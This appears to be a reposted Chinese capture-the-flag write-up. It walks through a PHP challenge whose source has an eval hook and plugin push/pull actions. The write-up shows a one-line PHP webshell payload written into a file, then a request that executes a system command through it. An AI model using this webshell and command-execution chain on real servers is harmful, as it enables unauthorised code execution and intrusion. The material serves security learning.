提示都在源码(F12):

<!-- //测试执行加密后的插件代码 
	   //这里只能执行加密代码,非加密代码不能执行
	  eval(decode($_GET['input'])); -->
<!-- <button name="action" value="test"> 执行 (do)</button>-->
<!-- Test the lib.php before use the index.php!-->
<!-- After that,delete the robots.txt!-->

在robotes.txt中我们发现了

/lib.php?flag=0

访问以后什么都没有得到,试着将flag=0改为flag=1得到了一堆数据,看上去像加密的数据,结合题目的源码提示我们试着访问如下:

?action=test&input=‘url编码获取的加密数据’

得到了下面的源码:

<?php
header("Content-Type:text/html;charset=utf-8");
include 'lib.php';
if(!is_dir('./plugins/')){
    @mkdir('./plugins/', 0777);
}
//Test it and delete it !!!
//测试执行加密后的插件代码
if($_GET['action'] === 'test') {
    echo 'Anything is good?Please test it.';
    @eval(decode($_GET['input']));
}

ini_set('open_basedir', './plugins/');
if(!empty($_GET['action'])){
    switch ($_GET['action']){
        case 'pull':
            $output = @eval(decode(file_get_contents('./plugins/'.$_GET['input'])));
            echo "pull success";
            break;
        case 'push':
            $input = file_put_contents('./plugins/'.md5($_GET['output'].'youyou'), encode($_GET['output']));
            echo "push success";
            break;
        default:
            die('hacker!');
    }
}

?>

 利用点很明显在‘push’写文件之后利用‘pull’读取文件执行我们的payload。

写文件:

?action=push&output=<?php eval($_GET[1]);phpinfo();?>

获取文件名也就是计算md5的值,本地计算即可。

读文件执行:

?action=pull&input=8d42ec7469dcadc5679dce59d7a27342&1=system("ls");

 

原文地址:http://www.cnblogs.com/meng-han/p/16888303.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性